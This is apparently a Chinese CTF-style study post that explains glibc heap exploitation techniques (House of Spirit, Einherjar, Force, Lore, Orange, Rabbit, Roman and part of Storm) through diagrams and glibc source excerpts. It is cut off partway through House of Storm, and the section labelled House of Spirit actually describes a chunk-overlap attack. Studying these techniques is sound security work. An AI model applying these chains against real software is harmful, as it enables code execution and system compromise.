前言
本系列文章的学习主线与核心知识点,均整理自 roderick 师傅的优秀博客(原文链接:https://www.roderickchan.cn/zh-cn/2023-02-27-house-of-all-about-glibc-heap-exploitation/),在此对原作者的分享表示由衷的感谢
本文最初是我在死磕 glibc 堆利用时的个人复习笔记。为了彻底吃透这些复杂的利用链,我在文中融入了个人的逻辑推演,并针对每一步操作绘制了精确的底层物理内存结构图,以辅助理解。近期在与其他师傅的技术交流中,受邀将这份私人笔记整理公开,希望能为同样在啃这些手法的师傅们提供一点不同的图解视角。
由于个人水平有限,文中难免存在理解偏差或错漏之处,敬请各位师傅海涵并谨慎甄别。后续我将继续在本系列更新其他 “House of” 家族手法的图解复盘。吃水不忘挖井人,强烈建议大家多多关注 roderick 师傅的原作博客,追根溯源
House of Spirit
适用版本范围
2.23—— 至今
堆溢出写
假设内存布局如下:
低地址
+------------------+
| Chunk A |
+------------------+
| Chunk B |
+------------------+
| Chunk C |
+------------------+
| Chunk D |
+------------------+
高地址
对 A 进行写操作溢出,覆盖了 B 的 size 域。 修改: 将 B 的 size 改为 size(B) + size(C)。
接着free(b)
当 B 被释放时,堆管理器(ptmalloc)会检查 B 的 size 域来决定要把多大的内存块放回空闲链表(Bin)。 因为你修改了 size,堆管理器会认为 B 是一个巨大的块(包含了 C)。
堆管理器状态: 此时有一个巨大的空闲块(假设地址从 0x6000 到 0x6060)。
你的指针状态:
ptr_B:变成了悬空指针(Dangling Pointer),指着0x6000。ptr_C:依然指着0x6030(即原来 C 的位置,现在是大空闲块的中间)。
结果: 一个巨大的空闲块(Start at B, End at D’s beginning)被放入了空闲链表(例如 Unsorted Bin 或 Tcache)。
然后重新申请 B (ptr_B_new = malloc(...))
堆管理器操作: 把刚才回收的那个大块(覆盖 B+C)分配给你。
结果:
- 你得到了一个新指针
ptr_B_new,它控制着0x6000到0x6060的整个区域。 - 此时的局面:
ptr_B_new认为它拥有这整块地;而ptr_C依然指着这块地的后半截(0x6030)。 - 这就形成了“重叠”: 两个有效的指针,指向了同一块物理内存的不同位置(包含关系)。
再free C
现在你执行 free(ptr_C)
堆管理器的反应: 堆管理器拿到 ptr_C 的地址(0x6030),它查看 0x6030 前面的头部信息(Header)。只要头部信息看起来合法(通常攻击者不需要动 C 的头部),堆管理器就会说:“好的,我把这块小内存(原 Chunk C)回收。”
链表操作(关键): C 被释放后,它被扔进了空闲链表(比如 Tcache 或 Fastbin)。 为了把 C 链入链表,堆管理器会在 C 的数据区前 8 个字节写入一个指针(fd 指针),指向链表里的下一个空闲块。
此时的内存状态:
- 位置
0x6030处: 刚刚被写入了一个核心的堆地址(fd 指针)。 - 你的权利: 别忘了,你的
ptr_B_new依然合法地拥有整个大区域(包括0x6030)
通过写 B 控制 C
现在,你只需要做一件事: 使用 ptr_B_new 向内存写数据。
因为 ptr_B_new 覆盖了 ptr_C 的位置,你可以算出偏移量,精准地修改 0x6030 处的内容。
- 原来:
0x6030处是堆管理器写的fd指针(如下一个空闲块地址)。 - 修改: 你用
ptr_B_new把它改成了__free_hook的地址 或者 栈地址。
结局: 下次程序再申请一个小内存(和 C 一样大)时,堆管理器会顺着你伪造的 fd 指针去找,结果把 __free_hook 或者栈分配给你。你就可以往里面一写 shellcode 或 system 地址
House of Einherjar
我们知道,如果一块被申请的(且大小不在fastbin范围、无tcachebin或tcachebin填满)malloc chunk释放时,如果前一块被标记为 free chunk,则会进行向前合并的操作
+------------------+
|Chunk A(位于栈上)| 伪造的Fake Chunk(开头就是目标地址)
|fd | bk |
+------------------+
|
|
|
|
|
|
|
堆块区
+------------------+
| Chunk B | <--- 1. 我们在这里溢出,改下面 C 的prev size
+------------------+
| Chunk C | <--- 2. P位被改,以为 B 是空的
+------------------+ 3. Free(C) 触发向上合并,吃掉 B+A
角色分配
- Chunk A (Fake Chunk):位于栈上(目标地址)。这是我们要诱导堆管理器去的地方。
- Chunk B (The Writer):位于堆上。我们要利用它向后写数据(Overflow)。
- Chunk C (The Trigger):位于堆上,紧跟在 B 后面。它是被牺牲的“引线”。
这里需要先了解下,合并时,需要将prev-chunk从链表中unlink下来,而堆块从链表unlink下来时,有一些检查和判断
if (__builtin_expect(FD->bk != P || BK->fd != P, 0))
malloc_printerr(check_action, "corrupted double-linked list", P, AV);
- P:当前准备要从链表中取出的 Chunk(Player)。
- FD:P 的前向指针
P->fd(Forward,指向后一个块,我们可以叫它“Next”)。 - BK:P 的后向指针
P->bk(Backward,指向前一个块,我们可以叫它“Prev”)。
这个检查逻辑是:
FD->bk != P:去问问 P 后面那个块(Next),你的bk指针是指向 P 的吗?BK->fd != P:去问问 P 前面那个块(Prev),你的fd指针是指向 P 的吗?
如果其中任何一个回答“不是”,那就说明链表断了或者被篡改了,直接报错(Crash)
这个 Fake Chunk 必须能够绕过 Unlink 检查!
假设 Fake Chunk 的起始地址是 Target_Addr
精心构造 fd = Target-0x18 和 bk = Target-0x10(跟在fake size之后)
为什么要减 0x18 和 0x10?
- 为了满足
P->fd->bk == P和P->bk->fd == P。让这个 Fake Chunk 自己指自己,形成逻辑闭环,骗过检查
利用 Chunk B 的溢出,修改 Chunk C 的头部。
- 计算距离 X:
X = Chunk_C_Addr - Target_Addr。 - 操作:
- 把这个
X填入 Chunk C 的prev_size域。 - 利用 Off-by-null 把 Chunk C 的
P位改成0
- 把这个
现在执行 free(C)
检查 P 位:系统看到 C 的 P=0,认为“前一块”是空闲的。
定位前一块:
- 系统读取
prev_size(也就是我们填的那个巨大的差值 X)。 - 计算前一块地址:
C_Addr - X = Target_Addr。 - BOOM!系统直接定位到了栈上的 Fake Chunk!
Unlink 检查(关键时刻):
- 系统要合并 Fake Chunk,必须先把它从链表中“摘”下来(执行 Unlink)。
- 保安去检查 Fake Chunk 的
fd和bk。 - 因为我们在第一步里精心构造了
fd = Target-0x18和bk = Target-0x10。 - 检查通过
现在 Unsorted Bin 里有一个起始地址在栈上的超级大 Chunk。
- 执行
malloc(大小要合适,通常和 Fake Chunk 的 size 匹配)。 - Unsorted Bin 头部就是栈地址
- 你拿到了一个指向栈的指针!
此时,就可以往往这个指针里写数据了
关于Unlink检查:
glibc2.26后:
if (__builtin_expect(chunksize(P) != prev_size(next_chunk(P)), 0))
malloc_printerr("corrupted size vs. prev_size");
glibc2.29及以后:
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size while consolidating");
unlink_chunk (av, p);
}
就是检查prev_chunk(伪造的chunkA)的size和chunkC里写的prev_size是否一样
回顾一下我们的利用数据:
- Chunk C (堆上):
- 它的
prev_size被我们填成了一个巨大的值(比如0xffff...,代表堆到栈的距离)。
- 它的
- Fake Chunk A (栈上):
- 我们在栈上伪造的 A。
- 为了方便,我们通常随便写个大小,比如
size = 0x100。
结果: chunksize(A) [0x100] != prev_size(C) [0xffff...] BOOM!程序崩溃
绕过核心: 我们在栈上伪造 Fake Chunk A 时,不能再随便填 size 了。 我们必须把 Fake Chunk A 的 size 也填成那个巨大的距离值
House of Force
非常简单的修改top chunk的利用手法,能达到任意地址malloc的效果
假设内存布局如下:
低地址 (Low Address)
+-------------------------+ <--- ptr_A
| Chunk A User Data |
| ... |
+-------------------------+ <--- Top Chunk 的头部 (0x4020)
| prev_size: 0 |
| size: 0x20000 (真实剩余) |
+-------------------------+
| Top Chunk Body |
| (剩余的可用内存) |
| ... |
+-------------------------+
... (茫茫多的内存) ...
+-------------------------+ <--- Target_Addr (0x8000)
| __malloc_hook |
+-------------------------+
高地址 (High Address)
- 申请
chunk A - 写
A的时候溢出,修改top_chunk的size为很大的数(通常是-1,即0xFFFFFFFFFFFFFFFF)我们需要申请一个巨大的 Chunk,刚好把 Top Chunk 的指针从当前位置(0x4020)推到 目标位置的前面(0x8000)
TopChunk的size被改到很大,所以可以偏移到几乎任意位置,实现任意地址malloc
如果malloc的是一个负数,malloc(size),int size<0 —> unsigned>>0,则偏移为负数,可以把Top Chunk 的头部 (0x4020)往低地址推
意味着可以往低地址拓展
需要注意的是,在高版本2.29+,加了限制
victim = av->top;
size = chunksize (victim);
if (__glibc_unlikely (size > av->system_mem))
malloc_printerr ("malloc(): corrupted top size");
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
{
remainder_size = size - nb;
remainder = chunk_at_offset (victim, nb);
av->top = remainder;
set_head (victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
av->system_mem 是当前 Arena 申请的总内存大小
如果 Top Chunk 的大小比这个总账还要大,那就会爆
House of Lore
===================================================================
MEMORY LAYOUT (纵向视图)
===================================================================
[ 区域 1: Libc - Main Arena ]
(存放 Small Bin 的链表头)
+-------------------------+
| Small Bin Head | <--- 这里的 bk 指针指向 B (正常)
+-------------------------+ 这里的 fd 指针指向 B (正常)
| fd: 指向 Chunk B | |
| bk: 指向 Chunk B | |
+-------------------------+ |
| ^ |
| | |
v | |
| |
======================|============|===============================
[ 区域 2: Heap - 堆区 ] | |
(地址从低向高增长) | |
| |
[ Chunk A (Allocated) ] |
+-------------------------+ |
| prev_size | |
+-------------------------+ |
| size | |
+-------------------------+ |
| User Data | |
| .................... | |
| (我们在这里写入溢出数据) | |
| (覆盖到了下面的 B 头) | |
+-------------------------+ |
| (溢出 Overwrite) |
v |
[ Chunk B (Free - Small Bin) ] |
+-------------------------+ |
| prev_size (被 A 覆盖?) | |
+-------------------------+ |
| size (0x....01) | |
+-------------------------+ | <--- Chunk Header
| fd: 指向 Libc Bin Head |--+ (B->fd 正常指向 Bin)
+-------------------------+
+---- | bk: *被篡改为指向 Stack* | (!!! 攻击点 !!!)
| +-------------------------+ (原本当指向 Bin,现指向 Fake)
| | (Unused / Rest) |
| +-------------------------+
|
| [ Chunk C (Guard Chunk) ]
| +-------------------------+
| | prev_size |
| +-------------------------+
| | size |
| +-------------------------+
| | User Data |
| +-------------------------+
|
|
===================================================================
[ 区域 3: Stack - 栈区 ]
(或者任意可控地址,存放 Fake Chunk X)
|
| +-------------------------+ <---- 地址 X (Fake Chunk)
+---> | fake prev_size |
+-------------------------+
| fake size |
+-------------------------+
| fake fd: *指向 Chunk B* |------+ (!!! 绕过检查的关键 !!!)
+-------------------------+ | (X->fd 必须指回 B)
| fake bk: (任意值/目标) | |
+-------------------------+ |
| (Payload Area) | |
+-------------------------+ |
|
===================================================================
malloc(A)、malloc(B)、malloc(C)。
- 注意:其中
chunk B大小要位于smallbin,C 的存在是为了防止 B 释放后直接和 Top Chunk 合并。
free(B):
- 此时 B 首先进入 Unsorted Bin。
malloc(D) (D > B)。
- 系统遍历 Unsorted Bin 发现 B 太小,不满足 D 的需求,于是把 B 归档,放入 Small Bin 中。
现在 Small Bin 里只有一个 B。因为是双向循环链表,Bin 的头尾都指向 B,B 的头尾也指向 Bin
(Glibc - main_arena) (Heap 堆内存)
+--------------------+ +----------------------+
| Small Bin Head | | Chunk B |
| | <---fd--- | (现在的空闲链表头) |
| bk 指针 | ---bk---> | fd 指针 |
+--------------------+ | bk 指针 |
^ +----------------------+
| ^
| |
+-------------------------------------+
(互相指向:Bin->bk 是 B,B->fd 是 Bin)
接着构造 Fake Chunk (X):在栈上或者我们可控的内存 X 处,伪造一个假堆块。
- 关键点:必须设置
X->fd = B。这是为了绕过系统的保护检查(Safe Unlink)。
溢出攻击:利用 Chunk A 的溢出漏洞,覆盖 Chunk B 的头部。
篡改指针:将 Chunk B 的 bk 指针修改为 X (Fake Chunk 的地址)。
为什么要 X->fd == &B? 当系统要把 B 从链表里拿出来时,会进行一个完整性检查: 系统会看 B 的后一个节点(也就是 X),问 X:“你的前一个节点是我(B)吗?” 代码检查逻辑:if (B->bk->fd != B) 报错; 所以我们必须在 X 里伪造 fd 指向 B,通过这个检查。
接着malloc(size of B)
- 系统查看 Small Bin,发现头部是 B。
- 系统把 B 分配给用户。
- 关键动作(Unlink):系统要把 B 从链表里移除。
- 系统读取 B 的
bk指针,发现是 X。 - 系统更新 Small Bin 的头节点记录:
Main_Arena->smallbin_bk = B->bk(B->bk现在指的是X) - 也就是说,系统现在认为 X 是 Small Bin 里的下一个空闲块
- 系统读取 B 的
再次 malloc(size of B)
- 系统查看 Small Bin,根据上一步的记录,它认为当前的链表头(第一个可用的块)是 X。
- 系统虽然觉得 X 在栈上有点奇怪,但只要 X 的结构看起来像个 Chunk(有 size 字段等),系统就会把 X 分配给用户。
- 攻击成功:你拿到了一个指针,这个指针指向栈上的 X 地址。你可以往这里写入 ROP 链或者修改返回地址。
补充:
触发 Tcache Stashing Unlink 机制的核心场景是:当你向 Small Bin 申请内存时,Tcache 没满,且 Small Bin 里还有剩余的空闲块。
在引入了 tcache stash unlink 的时候,需要注意绕过:
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks over. */
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = last (bin)) != bin)
{
if (tc_victim != 0)
{
bck = tc_victim->bk;
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck;
bck->fd = bin;
tcache_put (tc_victim, tc_idx);
}
}
}
#endif
什么是 “Stash”(自动进货机制)?
Tcache(Thread Local Cache)就像是 CPU 的 L1 缓存,速度极快。 Small Bin 就像是内存条(或者二级缓存),速度稍慢。
当你向 Small Bin 申请一个内存块(比如 malloc(0x100))时,Glibc 会想:
“既然用户现在需要 0x100 的块,说明这个大小的需求很热门。现在的 Small Bin 里还有好几个 0x100 的块,与其下次用户要的时候我再费劲从 Small Bin 拿,不如我现在顺手把剩下的几个都搬到 Tcache 里去存着。”
这个“顺手搬运”的过程,就叫 Stash。
对应代码中的 while 循环:
while (tcache->counts[tc_idx] < mp_.tcache_count // 只要 Tcache 还没满(默认7个)
&& (tc_victim = last (bin)) != bin) // 且 Small Bin 里还有货
{
// 把 bin 里的块取出来,塞进 Tcache
// 这里会进行 unlink 操作!
}
为什么会崩?(非法内存访问)
回想一下 House of Lore 的攻击场景: 你修改了 Small Bin 中 Chunk B 的 bk 指针,指向了栈上的 Fake Chunk。 此时链表是:Bin Head -> Chunk B -> Fake Chunk。
当你申请内存(拿走 Chunk B)时:
- 用户拿到了 Chunk B。
- Stash 机制触发:Glibc 发现 Tcache 没满,而且检测到
Bin Head -> bk变成了 Fake Chunk(因为你刚把 B 拿走了,Fake Chunk 成了排头兵)。 - 灾难发生:Glibc 试图把 Fake Chunk 也搬进 Tcache。搬运需要把 Fake Chunk 从 Small Bin 解绑(Unlink)。代码执行:
bck = tc_victim->bk;(读取 Fake Chunk 的 bk)代码执行:bck->fd = bin;(写入 Fake Chunk bk 指向的地址的 fd)
崩溃点: 通常我们在伪造 House of Lore 的 Fake Chunk 时,只伪造了 fd 指针来绕过检查,而往往忽略了 bk 指针。 如果 Fake Chunk 的 bk 指针 是随机的垃圾值或者 0:
程序试图去写 (垃圾地址)->fd,导致 Segmentation Fault (非法内存访问),程序直接挂掉(Down 掉)。
如何绕过?
就是为了阻止这个 while 循环执行,不让 Glibc 碰我们的 Fake Chunk。
方法一:tcache->counts[tc_idx] ≥ mp_.tcache_count
人话:把 Tcache 填满。
操作:在触发攻击前,先申请并释放 7 个同大小的堆块,把 Tcache 塞满。
原理:如果不缺货,Glibc 就不会去 Small Bin 进货,while 循环进不去,自然就不会碰你的假块。这是最常用的方法。
方法二:tc_victim = last (bin)) == bin
人话:让 Small Bin 看起来是空的。
原理:让程序以为 B 拿走后,Bin 里就没人了。但这对 House of Lore 来说很难,因为我们攻击的核心就是让 Bin 指向 Fake Chunk,所以这个条件通常不适用攻击场景
House of Orange
适用版本范围:2.23——2.26
堆溢出写
假设我们现在有一个 Chunk A,并且它存在堆溢出漏洞。我们利用这个漏洞,往后写数据,把 Top Chunk 的大小(Size)偷偷改小
[ 正常堆状态 ]
+-----------------+
| Chunk A |
| (正常使用中) |
+-----------------+
| Top Chunk | ---> Size: 0x20000 (很大,正常状态)
| (剩余空闲内存) |
+-----------------+
[ 第一次溢出后 ]
+-----------------+
| Chunk A | ---> 发生溢出,覆盖了下方的内容
+-----------------+
| Top Chunk | ---> Size: 0x1000 (被我们恶意改小了!)
| (剩余空闲内存) |
+-----------------+
现在 Top Chunk 被我们改成了 0x1000。 如果我们此时向系统申请一块 大于 0x1000 的内存(比如 0x2000),会发生什么?
系统一看,当前的 Top Chunk 只有 0x1000,不够分啊!于是,系统会向操作系统申请一块全新的、更大的内存作为新的 Top Chunk。
而那个旧的、只有 0x1000 大小的 Top Chunk,就被系统“丢弃”了,当成垃圾放进了 Unsorted Bin
[ 申请 0x2000 内存后 ]
+-----------------+
| Chunk A |
| (正常使用中) |
+-----------------+
| Old Top Chunk | ---> 它现在是一个 Free Chunk,躺在 Unsorted Bin 里
| (Size: 0x1000) |
+-----------------+
... (内存缝隙) ...
+-----------------+
| New Top Chunk | ---> 系统新分配的,非常大,用来满足以后的分配
+-----------------+
我们再次利用 Chunk A 的堆溢出漏洞,把这个旧的 Top Chunk 里的数据改掉
Size: 改成 0x61(为了后续匹配特定的small bin链表大小)
bk 指针: 改成 &_IO_list_all - 0x10(这是 Unsorted Bin Attack 的核心,用来修改系统的全局变量)
伪造文件流: 在里面伪造一个假的 _IO_FILE 结构体,并把里面的函数指针(vtable)指向我们想执行的代码,比如 system("/bin/sh")
[ 第二次溢出后:精心布置的陷阱 ]
+-----------------+
| Chunk A | ---> 再次溢出,篡改下方的 Free Chunk
+-----------------+
| Old Top Chunk |
| Size: 0x61 |
| bk 指针 | ---> 指向 &_IO_list_all - 0x10
| |
| 伪造的_IO_FILE |
| 伪造的 vtable | ---> 函数指针指向 system("/bin/sh")
+-----------------+
万事俱备,我们最后再随便申请一块内存(大小不是 0x60 的块)
系统在分配时,会去遍历 Unsorted Bin,结果系统发现这个块大小不合适,然后会执行 Unsorted Bin Attack,顺着指针把 IO_list_all - 0x10 这个地方改成了 main_arena
然后malloc 就得把它从 Unsorted Bin里拿出来,放到对应的 Smallbin里去
因为它的 size 是 0x60,所以它被精准地放入了专门存放 0x60 大小的分类垃圾桶:main_arena.bins[4],
在 _IO_FILE 的结构体中,有一个叫做 chain 的指针(用来指向下一个文件),它的偏移量刚好是 0x68
而在 main_arena 中,从 _IO_list_all 伪造的头部往后数 0x68 个字节,刚好就是 main_arena.bins[4] 的位置
malloc 把我们的块放入 Smallbin 后,会继续在 Unsorted Bin 里往下找(顺着bk),结果来到了IO_list_all 区域,看到这个Fake Chunk
+---------------------------------------------------+
| malloc 试图读取这个 "Fake Chunk" 的头部信息: |
| prev_size: (读到了 _IO_list_all 往前 16 字节的数据)|
| |
| Size: (读到了 _IO_list_all 往前 8 字节的数据) |<--- 致命错误发生在这里!
+---------------------------------------------------+
|
| 这里的 "Size" 实际上是 libc 内部的一个指针地址(比如 _IO_stderr_ 相关的指针)。
| 它的值是一个巨大的数字(比如 0x7fxxxxxxxxx)。
V
====== 触发系统安全检查 (Sanity Check) ======
+---------------------------------------------------+
| malloc 内部的防御机制启动: |
| if ( size <= 0x10 || size > 系统总内存大小 ) { |
| // 这个 Size 绝对不合理! |
| 触发报错! |
| } |
+---------------------------------------------------+
|
V
====== 系统大喊救命,引爆陷阱 ======
+---------------------------------------------------+
| 调用 malloc_printerr("malloc(): memory corruption")| ---> 打印"内存损坏"错误
+---------------------------------------------------+
|
V
+---------------------------------------------------+
| 调用 abort() 函数准备强行终止程序 |
+---------------------------------------------------+
|
V
+---------------------------------------------------+
| 触发 _IO_flush_all_lockp() 试图刷新所有输入输出流 | ---> 踩中我们之前布置好的 _IO_FILE 陷阱!
+---------------------------------------------------+
|
V
[ 拿到 Shell! ]
在 glibc-2.26 后,malloc_printerr 不再刷新 IO 流了,所以该方法失效
House of Rabbit
适用版本范围:2.23——2.26
堆溢出写、use after free、edit after free
在了解这个手法前,需要先了解下malloc_consolidate
malloc_consolidate 是 glibc 堆管理器(ptmalloc)中一个非常核心的内部函数。如果用一句话来概括它:它是系统针对 Fastbin 的一次“强制大扫除”和“碎片整理”机制
Fastbin 的设计初衷是为了极速。当你释放(free)一个很小的内存块时,系统为了快,会直接把它扔进 Fastbin。
- Fastbin 的特点: 绝对不合并!哪怕两个相邻的块都被释放并放进了 Fastbin,系统也会假装看不见,绝不把它们拼成一个大块。(因为合并操作需要耗费时间计算指针和解链)。
带来的问题:内存碎片化。 如果程序疯狂地 malloc 然后 free 小块内存,Fastbin 里就会堆满密密麻麻的零碎小块。这时,如果你突然向系统申请一块大内存,系统发现虽然总的空闲内存足够,但都被切成了 Fastbin 里的碎块,拼凑不出一整块大的来
这时候,malloc_consolidate就会发挥作用
[ 触发 malloc_consolidate 之前 ]
内存布局:充满了零碎的 Fastbin 块
+--------+--------+--------+--------+--------+
| 使用中 | Fastbin| Fastbin| 使用中 | Fastbin|
| ChunkA | ChunkB | ChunkC | ChunkD | ChunkE |
+--------+--------+--------+--------+--------+
====== 开始大扫除 ======
第 1 步:封锁 Fastbin
系统把整个 Fastbin 链表全部清空(指针设为 NULL),告诉程序:“现在开始大扫除,Fastbin 暂时停用!”
第 2 步:逐个捞出、试图合并
系统依次遍历刚刚从 Fastbin 里拿出来的每一个小块(比如 ChunkB, ChunkC, ChunkE)。
对于每一个小块,系统会检查它的邻居:
- 看上面:如果它前面的块也是空闲的,就把它们合并。
- 看下面:如果它后面的块也是空闲的,就把它们合并。
(注意:在上面的例子中,ChunkB 和 ChunkC 刚好相邻,它们会被合并成一个更大的块!)
第 3 步:扔进正规垃圾桶 (Unsorted Bin)
合并完成后,这些曾经的 Fastbin 小碎块,不论有没有被合并,都不允许再回到 Fastbin 了。
系统会把它们全部塞进无序垃圾桶 —— Unsorted Bin。
====== 大扫除结束 ======
[ 触发 malloc_consolidate 之后 ]
内存布局:碎片被合并,放入了 Unsorted Bin
+--------+-----------------+--------+--------+
| 使用中 | Unsorted Bin | 使用中 |Unsorted|
| ChunkA | (ChunkB+ChunkC) | ChunkD |(ChunkE)|
+--------+-----------------+--------+--------+
House of Rabbit 的核心就是:在 Fastbin 里混入一个指向我们伪造地址的指针,等系统“大扫除”时,把我们的伪造块顺手牵羊带进正规的 Unsorted Bin 里,从而实现任意地址分配
我们首先申请两个 Chunk(A 和 B),确保 A 的大小在 Fastbin 范围内(比如 0x40),申请b是为了防止与top chunk合并,然后我们 free(A),A 就会进入 Fastbin 链表
[ 初始状态:Fastbin 链表 ]
Fastbin Head
|
V
+-----------------+
| Chunk A | ---> 处于 Free 状态,躺在 Fastbin 里
| Size: 0x41 |
| fd: NULL |
+-----------------+
我们利用 Use-After-Free (UAF) 或者从上方块溢出,修改已经释放的 Chunk A 的 fd 指针
正常情况下,fd 应该指向下一个 Fastbin 块或者 NULL。我们把它改成一个我们想要控制的目标地址(Fake Chunk)
同时,为了骗过系统的基本检查,我们需要在这个目标地址布置一个伪造的 Size(比如伪造一个 0x81)
注意:这里为了防止合并触发复杂的 unlink 检查,通常会把伪造块的前后状态标志位(PREV_INUSE)设置好,让系统以为它周围的块都在使用中,不需要合并
[ 篡改 fd 指针后:埋下暗线 ]
Fastbin Head
|
V
+-----------------+ +-----------------------+
| Chunk A | | Fake Chunk (目标) |
| Size: 0x41 | | Size: 0x81 |
| fd 指针 | ---> | ... 数据 ... |
+-----------------+ +-----------------------+
(这个 Fake Chunk 可以位于 bss 段、栈上,或者堆的其它地方)
现在我们在 Fastbin 里埋好了雷,我们向系统申请一个比较大的内存块(比如 malloc(0x500)),或者释放一个巨大的块(> 0x10000)
系统一看请求这么大,立刻触发 malloc_consolidate 进行大扫除
系统来到 Fastbin,拿出了 Chunk A。
系统顺着 Chunk A 的 fd 指针往下找,盲目地相信了这根被我们篡改的线。
系统找到了我们的 Fake Chunk,并且把它当作一个合法的空闲块,从 Fastbin 摘下来,放进了 Unsorted Bin 里
[ 触发 malloc_consolidate 后的链表状态 ]
Fastbin Head ---> NULL (被清空了)
Unsorted Bin Head
|
V
+-----------------+ +-----------------------+
| Chunk A | | Fake Chunk (目标) |
| (现在在 | <--> | (也被拉进了 |
| Unsorted Bin) | | Unsorted Bin!) |
+-----------------+ +-----------------------+
我们只需要再执行一次普通的 malloc,请求的大小正好匹配我们伪造的 Size(比如 0x80)。 系统遍历 Unsorted Bin,发现 Fake Chunk 大小正好合适,就会把它切下来分配给我们
系统返回的指针 ---> +-----------------------+
| Fake Chunk (目标) |
| (现在被我们完全控制)|
+-----------------------+
由于这个 Fake Chunk 的地址是我们指定的(比如是保存关键变量的全局数据区、栈上的返回地址区等),现在系统把它当成正常的堆块分配给了我们。我们往里面写入数据,就实现了任意地址写 (Arbitrary Address Write)
可能有人会问:既然我已经篡改了 Fastbin 里的 fd 指针,让它指向了我的 Fake Chunk,那我直接再调用一次小内存的 malloc,把它从 Fastbin 里拿出来不就好了吗?为什么非要大费周章地触发 malloc_consolidate,把它赶进 Unsorted Bin 呢?
答案就四个字:“逃避审查”
当你试图从大小为 0x40 的 Fastbin 链表里拿出一个块时,系统会强行检查这个块头部的 Size 字段。如果这个 Size 不是 0x40(或者属于 0x40 这个档位),系统会立刻报 fastbin size mismatch 错误并崩溃
而unsortedbin就几乎不会对size进行检查
那么又可能会有人问,那要是这个fake chunk的size合法呢
那结果就是空间太小了不够塞利用链,unsorted bin就挺好
需要注意的:
2.26加入了unlink对presize的检查2.27加入了fastbin的检查
House of Roman
适用版本:2.23——2.29
use after free、堆溢出
先申请 A, B(0x70), C, D
释放 B,此时 B 进入 fastbin[0x70]。
利用 A 的堆溢出,将 B 的 size 从 0x71 篡改为一个大于 Fastbin 范围的值(例如 0x91,属于 Unsorted Bin 范围)
再次释放 B。由于此时 Size 看起来是 0x91,系统将它放进了 Unsorted Bin
进入 Unsorted Bin 后,系统会自动在 B 的 fd 和 bk 位置写入 main_arena
此时的 B,既是 Fastbin 里的 0x70 块,又是 Unsorted Bin 里的 0x90 块
[ 阶段一:Chunk B 拥有的双重身份与宝贵的 libc 指针 ]
+-------------------------+
| prev_size |
| Size: 0x91 (被 A 篡改) | ---> 系统以为它是 Unsorted Bin 块
| fd: <main_arena + 88的地址> |
| bk: <main_arena + 88的地址> |
+-------------------------+
(同时,Fastbin[0x70] 的链表头依然默默指向着这个地址)
再次利用 A 溢出(或 UAF),只覆盖 Chunk B 的 fd 指针的最后两个字节
将其修改为 __malloc_hook - 0x23 对应的低位地址
受 ASLR(地址随机化)影响,这里有 4 个 bit 需要“盲猜”(1/16 成功率)
[ 阶段二:篡改 fd 指针的低位字节 ]
篡改前 (原本是 main_arena):
fd: 0x7f...[固定高位]... B78
只覆盖最后两字节 (变成 __malloc_hook - 0x23):
fd: 0x7f...[固定高位]... AED <--- 'E' 这个位置需要爆破碰运气
利用 A 的溢出,把 B 的 Size 修正回 0x71,以免在 Fastbin 取出时触发大小检查报错。
连续执行两次 malloc(0x68)
第一次 malloc 取出了 Chunk B。第二次 malloc 就会顺着我们篡改的 fd,把 __malloc_hook - 0x23 这个伪造的块分配给你
[ 阶段三:Fastbin 分配完成后的内存控制权 ]
我们现在拥有了一个合法的堆指针,它指向:
+-------------------------+ <--- __malloc_hook - 0x23
| 伪造的 Chunk 头部 |
| (利用错位形成的合法 Size)|
| |
| __malloc_hook | <--- 它现在位于我们可写的用户数据区内!
+-------------------------+
Chunk B 之前不是还有一个 Unsorted Bin 的身份吗?我们利用溢出修改它的 bk 为 __malloc_hook - 0x10。
触发 Unsorted Bin 的分配逻辑(申请一个大小不匹配的块)
系统在解链时,执行 bk->fd = main_arena。这会将 main_arena+88 直接写入到 __malloc_hook 中
[ 阶段四:Unsorted Bin Attack 轰炸目标 ]
+-------------------------+
| __malloc_hook |
| 内容: <main_arena+88> |
+-------------------------+
万事俱备,最后一步:把 __malloc_hook 里的 main_arena 地址,改成 one_gadget(一键 getshell 的代码片段)
通过阶段三拿到的控制权,直接向 __malloc_hook 写入数据。
我们只覆盖 main_arena+88 的低 3 个字节,将其改成 one_gadget 的低位地址。
终极爆破点: 这里的 3 个字节中,有 12 个 bit 是完全随机的,所以我们需要硬猜(1/4096 成功率)
猜中后,程序再次执行 malloc 时,就会触发被篡改的 __malloc_hook,直接跳转执行 one_gadget 弹出 Shell
需要注意的是:
这个手法主要用在不能show的题目上,否则可以直接泄露出libc地址不需要爆破了,第三阶段也可以直接改malloc_hook了
House of Storm
适用版本:2.23——2.29
堆溢出、use after free、edit after free
在了解这个手法之前需要知道
在 glibc 的 C 语言源码中,一个 Chunk 的结构体定义是这样的
struct malloc_chunk {
INTERNAL_SIZE_T mchunk_prev_size; /* 前一个 chunk 的大小 */
INTERNAL_SIZE_T mchunk_size; /* 当前 chunk 的大小 */
struct malloc_chunk* fd; /* 常规双向链表:指向下一个 chunk 的指针 */
struct malloc_chunk* bk; /* 常规双向链表:指向上一个 chunk 的指针 */
/* 下面这两个只有 Large Bin 里的空闲块才有 */
struct malloc_chunk* fd_nextsize; /* 指向下一个【不同大小】的 chunk 的指针 */
struct malloc_chunk* bk_nextsize; /* 指向上一个【不同大小】的 chunk 的指针 */
};
而house of storm其实是利用了利用开启了 PIE 的 x64 程序的堆地址总是 0x55xxxx... 或者 0x56xxxx... 开头这一特性
先申请 Chunk L (Large): 比如 malloc(0x400)。它将来会被送入 Large Bin。
申请 Guard 1: 比如 malloc(0x18)。防止 L 和后面的块合并。
